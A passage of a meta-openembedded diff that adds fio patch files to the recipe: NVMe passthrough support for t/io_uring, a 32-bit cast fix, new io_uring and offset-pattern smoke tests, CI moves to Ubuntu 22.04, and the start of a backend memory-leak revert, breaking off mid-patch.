++ if ((bs % lbs) != 0) {
++ printf("error: bs:%d should be a multiple logical_block_size:%d\n",
++ bs, lbs);
++ return -1;
++ }
++ f->max_blocks = nlba / bs;
++ f->max_size = nlba;
++ f->lba_shift = ilog2(lbs);
++ return 0;
++ } else if (S_ISBLK(st.st_mode)) {
+ unsigned long long bytes;
+
+ if (ioctl(f->real_fd, BLKGETSIZE64, &bytes) != 0)
+@@ -620,6 +756,60 @@ static int reap_events_uring(struct submitter *s)
+ return reaped;
+ }
+
++static int reap_events_uring_pt(struct submitter *s)
++{
++ struct io_cq_ring *ring = &s->cq_ring;
++ struct io_uring_cqe *cqe;
++ unsigned head, reaped = 0;
++ int last_idx = -1, stat_nr = 0;
++ unsigned index;
++ int fileno;
++
++ head = *ring->head;
++ do {
++ struct file *f;
++
++ read_barrier();
++ if (head == atomic_load_acquire(ring->tail))
++ break;
++ index = head & cq_ring_mask;
++ cqe = &ring->cqes[index << 1];
++ fileno = cqe->user_data & 0xffffffff;
++ f = &s->files[fileno];
++ f->pending_ios--;
++
++ if (cqe->res != 0) {
++ printf("io: unexpected ret=%d\n", cqe->res);
++ if (polled && cqe->res == -EINVAL)
++ printf("passthrough doesn't support polled IO\n");
++ return -1;
++ }
++ if (stats) {
++ int clock_index = cqe->user_data >> 32;
++
++ if (last_idx != clock_index) {
++ if (last_idx != -1) {
++ add_stat(s, last_idx, stat_nr);
++ stat_nr = 0;
++ }
++ last_idx = clock_index;
++ }
++ stat_nr++;
++ }
++ reaped++;
++ head++;
++ } while (1);
++
++ if (stat_nr)
++ add_stat(s, last_idx, stat_nr);
++
++ if (reaped) {
++ s->inflight -= reaped;
++ atomic_store_release(ring->head, head);
++ }
++ return reaped;
++}
++
+ static void set_affinity(struct submitter *s)
+ {
+ #ifdef CONFIG_LIBNUMA
+@@ -697,6 +887,7 @@ static int setup_ring(struct submitter *s)
+ struct io_uring_params p;
+ int ret, fd;
+ void *ptr;
++ size_t len;
+
+ memset(&p, 0, sizeof(p));
+
+@@ -709,6 +900,10 @@ static int setup_ring(struct submitter *s)
+ p.sq_thread_cpu = sq_thread_cpu;
+ }
+ }
++ if (pt) {
++ p.flags |= IORING_SETUP_SQE128;
++ p.flags |= IORING_SETUP_CQE32;
++ }
+
+ fd = io_uring_setup(depth, &p);
+ if (fd < 0) {
+@@ -761,11 +956,22 @@ static int setup_ring(struct submitter *s)
+ sring->array = ptr + p.sq_off.array;
+ sq_ring_mask = *sring->ring_mask;
+
+- s->sqes = mmap(0, p.sq_entries * sizeof(struct io_uring_sqe),
++ if (p.flags & IORING_SETUP_SQE128)
++ len = 2 * p.sq_entries * sizeof(struct io_uring_sqe);
++ else
++ len = p.sq_entries * sizeof(struct io_uring_sqe);
++ s->sqes = mmap(0, len,
+ PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, fd,
+ IORING_OFF_SQES);
+
+- ptr = mmap(0, p.cq_off.cqes + p.cq_entries * sizeof(struct io_uring_cqe),
++ if (p.flags & IORING_SETUP_CQE32) {
++ len = p.cq_off.cqes +
++ 2 * p.cq_entries * sizeof(struct io_uring_cqe);
++ } else {
++ len = p.cq_off.cqes +
++ p.cq_entries * sizeof(struct io_uring_cqe);
++ }
++ ptr = mmap(0, len,
+ PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, fd,
+ IORING_OFF_CQ_RING);
+ cring->head = ptr + p.cq_off.head;
+@@ -855,7 +1061,16 @@ static int submitter_init(struct submitter *s)
+ s->plat = NULL;
+ nr_batch = 0;
+ }
++ /* perform the expensive command initialization part for passthrough here
++ * rather than in the fast path
++ */
++ if (pt) {
++ for (i = 0; i < roundup_pow2(depth); i++) {
++ struct io_uring_sqe *sqe = &s->sqes[i << 1];
+
++ memset(&sqe->cmd, 0, sizeof(struct nvme_uring_cmd));
++ }
++ }
+ return nr_batch;
+ }
+
+@@ -1111,7 +1326,10 @@ submit:
+ do {
+ int r;
+
+- r = reap_events_uring(s);
++ if (pt)
++ r = reap_events_uring_pt(s);
++ else
++ r = reap_events_uring(s);
+ if (r == -1) {
+ s->finish = 1;
+ break;
+@@ -1305,11 +1523,12 @@ static void usage(char *argv, int status)
+ " -a <bool> : Use legacy aio, default %d\n"
+ " -S <bool> : Use sync IO (preadv2), default %d\n"
+ " -X <bool> : Use registered ring %d\n"
+- " -P <bool> : Automatically place on device home node %d\n",
++ " -P <bool> : Automatically place on device home node %d\n"
++ " -u <bool> : Use nvme-passthrough I/O, default %d\n",
+ argv, DEPTH, BATCH_SUBMIT, BATCH_COMPLETE, BS, polled,
+ fixedbufs, dma_map, register_files, nthreads, !buffered, do_nop,
+ stats, runtime == 0 ? "unlimited" : runtime_str, random_io, aio,
+- use_sync, register_ring, numa_placement);
++ use_sync, register_ring, numa_placement, pt);
+ exit(status);
+ }
+
+@@ -1368,7 +1587,7 @@ int main(int argc, char *argv[])
+ if (!do_nop && argc < 2)
+ usage(argv[0], 1);
+
+- while ((opt = getopt(argc, argv, "d:s:c:b:p:B:F:n:N:O:t:T:a:r:D:R:X:S:P:h?")) != -1) {
++ while ((opt = getopt(argc, argv, "d:s:c:b:p:B:F:n:N:O:t:T:a:r:D:R:X:S:P:u:h?")) != -1) {
+ switch (opt) {
+ case 'a':
+ aio = !!atoi(optarg);
+@@ -1449,6 +1668,9 @@ int main(int argc, char *argv[])
+ case 'P':
+ numa_placement = !!atoi(optarg);
+ break;
++ case 'u':
++ pt = !!atoi(optarg);
++ break;
+ case 'h':
+ case '?':
+ default:
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0024-t-io_uring-fix-64-bit-cast-on-32-bit-archs.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0024-t-io_uring-fix-64-bit-cast-on-32-bit-archs.patch
new file mode 100644
index 0000000000..ba687e0418
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0024-t-io_uring-fix-64-bit-cast-on-32-bit-archs.patch
@@ -0,0 +1,37 @@
+From 286bed8bc95fbc7d8a1d00b1861037bc215948ee Mon Sep 17 00:00:00 2001
+From: Jens Axboe <axboe@kernel.dk>
+Date: Fri, 26 Aug 2022 07:52:54 -0600
+Subject: [PATCH] t/io_uring: fix 64-bit cast on 32-bit archs
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+gcc complains that:
+
+t/io_uring.c: In function ‘init_io_pt’:
+t/io_uring.c:618:52: error: left shift count >= width of type [-Werror=shift-count-overflow]
+ 618 | sqe->user_data |= ((unsigned long)s->clock_index << 32);
+ | ^~
+
+we're shifting more than the size of the type. Cast to a 64-bit value
+so that it'll work on 32-bit as well.
+
+Fixes: 7d04588a7663 ("t/io_uring: add support for async-passthru")
+Signed-off-by: Jens Axboe <axboe@kernel.dk>
+---
+ t/io_uring.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/t/io_uring.c b/t/io_uring.c
+index 0a90f85c..b90bcf78 100644
+--- a/t/io_uring.c
++++ b/t/io_uring.c
+@@ -615,7 +615,7 @@ static void init_io_pt(struct submitter *s, unsigned index)
+ sqe->opcode = IORING_OP_URING_CMD;
+ sqe->user_data = (unsigned long) f->fileno;
+ if (stats)
+- sqe->user_data |= ((unsigned long)s->clock_index << 32);
++ sqe->user_data |= ((__u64) s->clock_index << 32ULL);
+ sqe->cmd_op = NVME_URING_CMD_IO;
+ slba = offset >> f->lba_shift;
+ nlb = (bs >> f->lba_shift) - 1;
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0025-test-add-basic-test-for-io_uring-ioengine.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0025-test-add-basic-test-for-io_uring-ioengine.patch
new file mode 100644
index 0000000000..7472eea628
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0025-test-add-basic-test-for-io_uring-ioengine.patch
@@ -0,0 +1,91 @@
+From c3df3532a507e6d7c66339dee6eb022feab68f59 Mon Sep 17 00:00:00 2001
+From: Vincent Fu <vincent.fu@samsung.com>
+Date: Thu, 25 Aug 2022 12:08:33 -0700
+Subject: [PATCH] test: add basic test for io_uring ioengine
+
+We should have a quick smoke test for the io_uring ioengine to
+automatically detect breakage.
+
+Signed-off-by: Vincent Fu <vincent.fu@samsung.com>
+---
+ t/jobs/t0018.fio | 9 +++++++++
+ t/run-fio-tests.py | 22 ++++++++++++++++++++++
+ 2 files changed, 31 insertions(+)
+ create mode 100644 t/jobs/t0018.fio
+
+diff --git a/t/jobs/t0018.fio b/t/jobs/t0018.fio
+new file mode 100644
+index 00000000..e2298b1f
+--- /dev/null
++++ b/t/jobs/t0018.fio
+@@ -0,0 +1,9 @@
++# Expected result: job completes without error
++# Buggy result: job fails
++
++[test]
++ioengine=io_uring
++filesize=256K
++time_based
++runtime=3s
++rw=randrw
+diff --git a/t/run-fio-tests.py b/t/run-fio-tests.py
+index 504b7cdb..1e5e9f24 100755
+--- a/t/run-fio-tests.py
++++ b/t/run-fio-tests.py
+@@ -582,6 +582,7 @@ class Requirements(object):
+
+ _linux = False
+ _libaio = False
++ _io_uring = False
+ _zbd = False
+ _root = False
+ _zoned_nullb = False
+@@ -605,6 +606,12 @@ class Requirements(object):
+ Requirements._zbd = "CONFIG_HAS_BLKZONED" in contents
+ Requirements._libaio = "CONFIG_LIBAIO" in contents
+
++ contents, success = FioJobTest.get_file("/proc/kallsyms")
++ if not success:
++ print("Unable to open '/proc/kallsyms' to probe for io_uring support")
++ else:
++ Requirements._io_uring = "io_uring_setup" in contents
++
+ Requirements._root = (os.geteuid() == 0)
+ if Requirements._zbd and Requirements._root:
+ try:
+@@ -627,6 +634,7 @@ class Requirements(object):
+
+ req_list = [Requirements.linux,
+ Requirements.libaio,
++ Requirements.io_uring,
+ Requirements.zbd,
+ Requirements.root,
+ Requirements.zoned_nullb,
+@@ -648,6 +656,11 @@ class Requirements(object):
+ """Is libaio available?"""
+ return Requirements._libaio, "libaio required"
+
++ @classmethod
++ def io_uring(cls):
++ """Is io_uring available?"""
++ return Requirements._io_uring, "io_uring required"
++
+ @classmethod
+ def zbd(cls):
+ """Is ZBD support available?"""
+@@ -867,6 +880,15 @@ TEST_LIST = [
+ 'output_format': 'json',
+ 'requirements': [Requirements.not_windows],
+ },
++ {
++ 'test_id': 18,
++ 'test_class': FioJobTest,
++ 'job': 't0018.fio',
++ 'success': SUCCESS_DEFAULT,
++ 'pre_job': None,
++ 'pre_success': None,
++ 'requirements': [Requirements.linux, Requirements.io_uring],
++ },
+ {
+ 'test_id': 1000,
+ 'test_class': FioExeTest,
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0026-t-io_uring-remove-duplicate-definition-of-gettid.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0026-t-io_uring-remove-duplicate-definition-of-gettid.patch
new file mode 100644
index 0000000000..c75ec36d18
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0026-t-io_uring-remove-duplicate-definition-of-gettid.patch
@@ -0,0 +1,59 @@
+From 575bea1c9b642a11ac5b7162aea6a9f905c60318 Mon Sep 17 00:00:00 2001
+From: Jens Axboe <axboe@kernel.dk>
+Date: Fri, 26 Aug 2022 14:14:44 -0600
+Subject: [PATCH] t/io_uring: remove duplicate definition of gettid()
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+With a recent change, we now include os.h through nvme.h, and this
+can cause a duplicate gettid() definition:
+
+t/io_uring.c:499:12: error: redefinition of ‘gettid’
+ static int gettid(void)
+ ^~~~~~
+In file included from t/../engines/../os/os.h:39,
+ from t/../engines/../thread_options.h:5,
+ from t/../engines/../fio.h:18,
+ from t/../engines/nvme.h:10,
+ from t/io_uring.c:38:
+t/../engines/../os/os-linux.h:147:19: note: previous definition of
+‘gettid’ was here
+ static inline int gettid(void)
+ ^~~~~~
+
+Include os.h directly to make it clear that we use it, and remove the
+gettid() definition from io_uring.c.
+
+Reported-by: Yi Zhang <yi.zhang@redhat.com>
+Signed-off-by: Jens Axboe <axboe@kernel.dk>
+---
+ t/io_uring.c | 8 +-------
+ 1 file changed, 1 insertion(+), 7 deletions(-)
+
+diff --git a/t/io_uring.c b/t/io_uring.c
+index b90bcf78..e8e41796 100644
+--- a/t/io_uring.c
++++ b/t/io_uring.c
+@@ -30,6 +30,7 @@
+ #include <sched.h>
+
+ #include "../arch/arch.h"
++#include "../os/os.h"
+ #include "../lib/types.h"
+ #include "../lib/roundup.h"
+ #include "../lib/rand.h"
+@@ -495,13 +496,6 @@ static int io_uring_enter(struct submitter *s, unsigned int to_submit,
+ #endif
+ }
+
+-#ifndef CONFIG_HAVE_GETTID
+-static int gettid(void)
+-{
+- return syscall(__NR_gettid);
+-}
+-#endif
+-
+ static unsigned file_depth(struct submitter *s)
+ {
+ return (depth + s->nr_files - 1) / s->nr_files;
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0027-test-add-some-tests-for-seq-and-rand-offsets.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0027-test-add-some-tests-for-seq-and-rand-offsets.patch
new file mode 100644
index 0000000000..2abd449b8b
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0027-test-add-some-tests-for-seq-and-rand-offsets.patch
@@ -0,0 +1,157 @@
+From 1eef6cddda678b0d1a120970bc4cc961c285c81e Mon Sep 17 00:00:00 2001
+From: Vincent Fu <vincent.fu@samsung.com>
+Date: Mon, 29 Aug 2022 11:30:30 -0400
+Subject: [PATCH] test: add some tests for seq and rand offsets
+
+t/jobs/t0019.fio is a seq read test
+t/jobs/t0020.fio is a rand read test
+
+We don't have any automated tests which make sure that sequential access
+patterns are actually sequential and that random access patterns are not
+sequential. Add these two tests to help detect the possibility that
+these features could break.
+
+Signed-off-by: Vincent Fu <vincent.fu@samsung.com>
+---
+ t/jobs/t0019.fio | 10 ++++++
+ t/jobs/t0020.fio | 11 ++++++
+ t/run-fio-tests.py | 84 ++++++++++++++++++++++++++++++++++++++++++++++
+ 3 files changed, 105 insertions(+)
+ create mode 100644 t/jobs/t0019.fio
+ create mode 100644 t/jobs/t0020.fio
+
+diff --git a/t/jobs/t0019.fio b/t/jobs/t0019.fio
+new file mode 100644
+index 00000000..b60d27d2
+--- /dev/null
++++ b/t/jobs/t0019.fio
+@@ -0,0 +1,10 @@
++# Expected result: offsets are accessed sequentially and all offsets are read
++# Buggy result: offsets are not accessed sequentially and one or more offsets are missed
++# run with --debug=io or logging to see which offsets are accessed
++
++[test]
++ioengine=null
++filesize=1M
++write_bw_log=test
++per_job_logs=0
++log_offset=1
+diff --git a/t/jobs/t0020.fio b/t/jobs/t0020.fio
+new file mode 100644
+index 00000000..1c1c5166
+--- /dev/null
++++ b/t/jobs/t0020.fio
+@@ -0,0 +1,11 @@
++# Expected result: offsets are not accessed sequentially and all offsets are touched
++# Buggy result: offsets are accessed sequentially and one or more offsets are missed
++# run with --debug=io or logging to see which offsets are read
++
++[test]
++ioengine=null
++filesize=1M
++rw=randread
++write_bw_log=test
++per_job_logs=0
++log_offset=1
+diff --git a/t/run-fio-tests.py b/t/run-fio-tests.py
+index 1e5e9f24..78f43521 100755
+--- a/t/run-fio-tests.py
++++ b/t/run-fio-tests.py
+@@ -548,6 +548,72 @@ class FioJobTest_t0015(FioJobTest):
+ self.passed = False
+
+
++class FioJobTest_t0019(FioJobTest):
++ """Test consists of fio test job t0019
++ Confirm that all offsets were touched sequentially"""
++
++ def check_result(self):
++ super(FioJobTest_t0019, self).check_result()
++
++ bw_log_filename = os.path.join(self.test_dir, "test_bw.log")
++ file_data, success = self.get_file(bw_log_filename)
++ log_lines = file_data.split('\n')
++
++ prev = -4096
++ for line in log_lines:
++ if len(line.strip()) == 0:
++ continue
++ cur = int(line.split(',')[4])
++ if cur - prev != 4096:
++ self.passed = False
++ self.failure_reason = "offsets {0}, {1} not sequential".format(prev, cur)
++ return
++ prev = cur
++
++ if cur/4096 != 255:
++ self.passed = False
++ self.failure_reason = "unexpected last offset {0}".format(cur)
++
++
++class FioJobTest_t0020(FioJobTest):
++ """Test consists of fio test job t0020
++ Confirm that almost all offsets were touched non-sequentially"""
++
++ def check_result(self):
++ super(FioJobTest_t0020, self).check_result()
++
++ bw_log_filename = os.path.join(self.test_dir, "test_bw.log")
++ file_data, success = self.get_file(bw_log_filename)
++ log_lines = file_data.split('\n')
++
++ seq_count = 0
++ offsets = set()
++
++ prev = int(log_lines[0].split(',')[4])
++ for line in log_lines[1:]:
++ offsets.add(prev/4096)
++ if len(line.strip()) == 0:
++ continue
++ cur = int(line.split(',')[4])
++ if cur - prev == 4096:
++ seq_count += 1
++ prev = cur
++
++ # 10 is an arbitrary threshold
++ if seq_count > 10:
++ self.passed = False
++ self.failure_reason = "too many ({0}) consecutive offsets".format(seq_count)
++
++ if len(offsets) != 256:
++ self.passed = False
++ self.failure_reason += " number of offsets is {0} instead of 256".format(len(offsets))
++
++ for i in range(256):
++ if not i in offsets:
++ self.passed = False
++ self.failure_reason += " missing offset {0}".format(i*4096)
++
++
+ class FioJobTest_iops_rate(FioJobTest):
+ """Test consists of fio test job t0009
+ Confirm that job0 iops == 1000
+@@ -889,6 +955,24 @@ TEST_LIST = [
+ 'pre_success': None,
+ 'requirements': [Requirements.linux, Requirements.io_uring],
+ },
++ {
++ 'test_id': 19,
++ 'test_class': FioJobTest_t0019,
++ 'job': 't0019.fio',
++ 'success': SUCCESS_DEFAULT,
++ 'pre_job': None,
++ 'pre_success': None,
++ 'requirements': [],
++ },
++ {
++ 'test_id': 20,
++ 'test_class': FioJobTest_t0020,
++ 'job': 't0020.fio',
++ 'success': SUCCESS_DEFAULT,
++ 'pre_job': None,
++ 'pre_success': None,
++ 'requirements': [],
++ },
+ {
+ 'test_id': 1000,
+ 'test_class': FioExeTest,
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0028-test-use-Ubuntu-22.04-for-64-bit-tests.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0028-test-use-Ubuntu-22.04-for-64-bit-tests.patch
new file mode 100644
index 0000000000..b471d9c325
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0028-test-use-Ubuntu-22.04-for-64-bit-tests.patch
@@ -0,0 +1,72 @@
+From abfe30b1fe8118a4ff935bd7cb03243329eba4b8 Mon Sep 17 00:00:00 2001
+From: Vincent Fu <vincent.fu@samsung.com>
+Date: Mon, 29 Aug 2022 14:24:16 -0400
+Subject: [PATCH] test: use Ubuntu 22.04 for 64-bit tests
+
+On 22.04 there was a conflict among libunwind-14-dev, libunwind-dev, and
+libunwind8 that was resolved by removing libunwind-14-dev.
+
+The 32-bit Ubuntu setup steps require more attention to get them to work
+on 22.04. Stay on 20.04 for now and figure it out later.
+
+Starting pkgProblemResolver with broken count: 1
+Starting 2 pkgProblemResolver with broken count: 1
+Investigating (0) libunwind-14-dev:amd64 < 1:14.0.0-1ubuntu1 @ii K Ib >
+Broken libunwind-14-dev:amd64 Breaks on libunwind-dev:amd64 < none -> 1.3.2-2build2 @un puN >
+ Considering libunwind-dev:amd64 -1 as a solution to libunwind-14-dev:amd64 2
+Done
+Some packages could not be installed. This may mean that you have
+requested an impossible situation or if you are using the unstable
+distribution that some required packages have not yet been created
+or been moved out of Incoming.
+The following information may help to resolve the situation:
+
+The following packages have unmet dependencies:
+ libunwind-14-dev : Breaks: libunwind-dev but 1.3.2-2build2 is to be installed
+E: Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages.
+
+Signed-off-by: Vincent Fu <vincent.fu@samsung.com>
+---
+ .github/workflows/ci.yml | 6 +++---
+ ci/actions-install.sh | 2 ++
+ 2 files changed, 5 insertions(+), 3 deletions(-)
+
+diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
+index 650366b2..85104e5a 100644
+--- a/.github/workflows/ci.yml
++++ b/.github/workflows/ci.yml
+@@ -18,10 +18,10 @@ jobs:
+ - android
+ include:
+ - build: linux-gcc
+- os: ubuntu-20.04
++ os: ubuntu-22.04
+ cc: gcc
+ - build: linux-clang
+- os: ubuntu-20.04
++ os: ubuntu-22.04
+ cc: clang
+ - build: macos
+ os: macos-11
+@@ -29,7 +29,7 @@ jobs:
+ os: ubuntu-20.04
+ arch: i686
+ - build: android
+- os: ubuntu-20.04
++ os: ubuntu-22.04
+ arch: aarch64-linux-android32
+
+ env:
+diff --git a/ci/actions-install.sh b/ci/actions-install.sh
+index b5c4198f..7017de2a 100755
+--- a/ci/actions-install.sh
++++ b/ci/actions-install.sh
+@@ -54,6 +54,8 @@ DPKGCFG
+ libtcmalloc-minimal4
+ nvidia-cuda-dev
+ )
++ echo "Removing libunwind-14-dev because of conflicts with libunwind-dev"
++ sudo apt remove -y libunwind-14-dev
+ ;;
+ esac
+
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0029-test-get-32-bit-Ubuntu-22.04-build-working.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0029-test-get-32-bit-Ubuntu-22.04-build-working.patch
new file mode 100644
index 0000000000..163ebf3b33
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0029-test-get-32-bit-Ubuntu-22.04-build-working.patch
@@ -0,0 +1,79 @@
+From aa1075ba2ff300e4017bd7813423f63b1fbc325f Mon Sep 17 00:00:00 2001
+From: Vincent Fu <vincent.fu@samsung.com>
+Date: Mon, 29 Aug 2022 15:15:56 -0400
+Subject: [PATCH] test: get 32-bit Ubuntu 22.04 build working
+
+Ubuntu 22.04 no longer has i386 builds for the packages libibverbs and
+librdmacm. So stop trying to install those packages for the 32-bit
+build.
+
+Signed-off-by: Vincent Fu <vincent.fu@samsung.com>
+---
+ .github/workflows/ci.yml | 2 +-
+ ci/actions-install.sh | 11 ++++-------
+ 2 files changed, 5 insertions(+), 8 deletions(-)
+
+diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
+index 85104e5a..bdc4db85 100644
+--- a/.github/workflows/ci.yml
++++ b/.github/workflows/ci.yml
+@@ -26,7 +26,7 @@ jobs:
+ - build: macos
+ os: macos-11
+ - build: linux-i686-gcc
+- os: ubuntu-20.04
++ os: ubuntu-22.04
+ arch: i686
+ - build: android
+ os: ubuntu-22.04
+diff --git a/ci/actions-install.sh b/ci/actions-install.sh
+index 7017de2a..c209a089 100755
+--- a/ci/actions-install.sh
++++ b/ci/actions-install.sh
+@@ -23,26 +23,21 @@ DPKGCFG
+ libcunit1-dev
+ libcurl4-openssl-dev
+ libfl-dev
+- libibverbs-dev
+ libnuma-dev
+- librdmacm-dev
+ libnfs-dev
+ valgrind
+ )
+ case "${CI_TARGET_ARCH}" in
+ "i686")
+ sudo dpkg --add-architecture i386
+- opts="--allow-downgrades"
+ pkgs=("${pkgs[@]/%/:i386}")
+ pkgs+=(
+ gcc-multilib
+ pkg-config:i386
+ zlib1g-dev:i386
+- libpcre2-8-0=10.34-7
+ )
+ ;;
+ "x86_64")
+- opts=""
+ pkgs+=(
+ libglusterfs-dev
+ libgoogle-perftools-dev
+@@ -53,6 +48,8 @@ DPKGCFG
+ librbd-dev
+ libtcmalloc-minimal4
+ nvidia-cuda-dev
++ libibverbs-dev
++ librdmacm-dev
+ )
+ echo "Removing libunwind-14-dev because of conflicts with libunwind-dev"
+ sudo apt remove -y libunwind-14-dev
+@@ -68,8 +65,8 @@ DPKGCFG
+
+ echo "Updating APT..."
+ sudo apt-get -qq update
+- echo "Installing packages..."
+- sudo apt-get install "$opts" -o APT::Immediate-Configure=false --no-install-recommends -qq -y "${pkgs[@]}"
++ echo "Installing packages... ${pkgs[@]}"
++ sudo apt-get install -o APT::Immediate-Configure=false --no-install-recommends -qq -y "${pkgs[@]}"
+ }
+
+ install_linux() {
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0030-test-add-tests-for-lfsr-and-norandommap.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0030-test-add-tests-for-lfsr-and-norandommap.patch
new file mode 100644
index 0000000000..fa1d49e145
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0030-test-add-tests-for-lfsr-and-norandommap.patch
@@ -0,0 +1,143 @@
+From 8d2b6305a6d0497bc6d78832be256380b1691694 Mon Sep 17 00:00:00 2001
+From: Vincent Fu <vincent.fu@samsung.com>
+Date: Tue, 30 Aug 2022 09:59:55 -0400
+Subject: [PATCH] test: add tests for lfsr and norandommap
+
+t0021 checks whether the lfsr random generator actually touches every
+offset.
+
+t0022 checks whether fio touches offsets more than once when
+norandommap=1.
+
+We should have automated tests for basic functionality to detect
+problems early.
+
+Signed-off-by: Vincent Fu <vincent.fu@samsung.com>
+---
+ t/jobs/t0021.fio | 15 +++++++++++++
+ t/jobs/t0022.fio | 13 +++++++++++
+ t/run-fio-tests.py | 55 +++++++++++++++++++++++++++++++++++++++++++++-
+ 3 files changed, 82 insertions(+), 1 deletion(-)
+ create mode 100644 t/jobs/t0021.fio
+ create mode 100644 t/jobs/t0022.fio
+
+diff --git a/t/jobs/t0021.fio b/t/jobs/t0021.fio
+new file mode 100644
+index 00000000..47fbae71
+--- /dev/null
++++ b/t/jobs/t0021.fio
+@@ -0,0 +1,15 @@
++# make sure the lfsr random generator actually does touch all the offsets
++#
++# Expected result: offsets are not accessed sequentially and all offsets are touched
++# Buggy result: offsets are accessed sequentially and one or more offsets are missed
++# run with --debug=io or logging to see which offsets are read
++
++[test]
++ioengine=null
++filesize=1M
++rw=randread
++write_bw_log=test
++per_job_logs=0
++log_offset=1
++norandommap=1
++random_generator=lfsr
+diff --git a/t/jobs/t0022.fio b/t/jobs/t0022.fio
+new file mode 100644
+index 00000000..2324571e
+--- /dev/null
++++ b/t/jobs/t0022.fio
+@@ -0,0 +1,13 @@
++# make sure that when we enable norandommap we touch some offsets more than once
++#
++# Expected result: at least one offset is touched more than once
++# Buggy result: each offset is touched only once
++
++[test]
++ioengine=null
++filesize=1M
++rw=randread
++write_bw_log=test
++per_job_logs=0
++log_offset=1
++norandommap=1
+diff --git a/t/run-fio-tests.py b/t/run-fio-tests.py
+index 78f43521..47823761 100755
+--- a/t/run-fio-tests.py
++++ b/t/run-fio-tests.py
+@@ -576,7 +576,7 @@ class FioJobTest_t0019(FioJobTest):
+
+
+ class FioJobTest_t0020(FioJobTest):
+- """Test consists of fio test job t0020
++ """Test consists of fio test jobs t0020 and t0021
+ Confirm that almost all offsets were touched non-sequentially"""
+
+ def check_result(self):
+@@ -614,6 +614,41 @@ class FioJobTest_t0020(FioJobTest):
+ self.failure_reason += " missing offset {0}".format(i*4096)
+
+
++class FioJobTest_t0022(FioJobTest):
++ """Test consists of fio test job t0022"""
++
++ def check_result(self):
++ super(FioJobTest_t0022, self).check_result()
++
++ bw_log_filename = os.path.join(self.test_dir, "test_bw.log")
++ file_data, success = self.get_file(bw_log_filename)
++ log_lines = file_data.split('\n')
++
++ filesize = 1024*1024
++ bs = 4096
++ seq_count = 0
++ offsets = set()
++
++ prev = int(log_lines[0].split(',')[4])
++ for line in log_lines[1:]:
++ offsets.add(prev/bs)
++ if len(line.strip()) == 0:
++ continue
++ cur = int(line.split(',')[4])
++ if cur - prev == bs:
++ seq_count += 1
++ prev = cur
++
++ # 10 is an arbitrary threshold
++ if seq_count > 10:
++ self.passed = False
++ self.failure_reason = "too many ({0}) consecutive offsets".format(seq_count)
++
++ if len(offsets) == filesize/bs:
++ self.passed = False
++ self.failure_reason += " no duplicate offsets found with norandommap=1".format(len(offsets))
++
++
+ class FioJobTest_iops_rate(FioJobTest):
+ """Test consists of fio test job t0009
+ Confirm that job0 iops == 1000
+@@ -973,6 +1008,24 @@ TEST_LIST = [
+ 'pre_success': None,
+ 'requirements': [],
+ },
++ {
++ 'test_id': 21,
++ 'test_class': FioJobTest_t0020,
++ 'job': 't0021.fio',
++ 'success': SUCCESS_DEFAULT,
++ 'pre_job': None,
++ 'pre_success': None,
++ 'requirements': [],
++ },
++ {
++ 'test_id': 22,
++ 'test_class': FioJobTest_t0022,
++ 'job': 't0022.fio',
++ 'success': SUCCESS_DEFAULT,
++ 'pre_job': None,
++ 'pre_success': None,
++ 'requirements': [],
++ },
+ {
+ 'test_id': 1000,
+ 'test_class': FioExeTest,
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0031-backend-revert-bad-memory-leak-fix.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0031-backend-revert-bad-memory-leak-fix.patch
new file mode 100644
index 0000000000..335798cea7
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0031-backend-revert-bad-memory-leak-fix.patch
@@ -0,0 +1,39 @@
+From c060732180c981712f9a6fb7108c28a3c301c2c3 Mon Sep 17 00:00:00 2001
+From: Jens Axboe <axboe@kernel.dk>
+Date: Tue, 30 Aug 2022 10:48:18 -0600
+Subject: [PATCH] backend: revert bad memory leak fix
+
+This essentially reverts the commit mentioned in the fixes line, as it
+causes crashes with using a trigger timeout + command.
+
+Fixes: 807473c36e10 ("fixed memory leak detected by ASAN")
+Signed-off-by: Jens Axboe <axboe@kernel.dk>
+---
+ backend.c | 5 -----
+ 1 file changed, 5 deletions(-)
+
+diff --git a/backend.c b/backend.c
+index 375a23e4..fe614f6e 100644
+--- a/backend.c
++++ b/backend.c
+@@ -2451,10 +2451,8 @@ reap:
+ strerror(ret));
+ } else {
+ pid_t pid;
+- struct fio_file **files;
+ void *eo;
+ dprint(FD_PROCESS, "will fork\n");
+- files = td->files;
+ eo = td->eo;
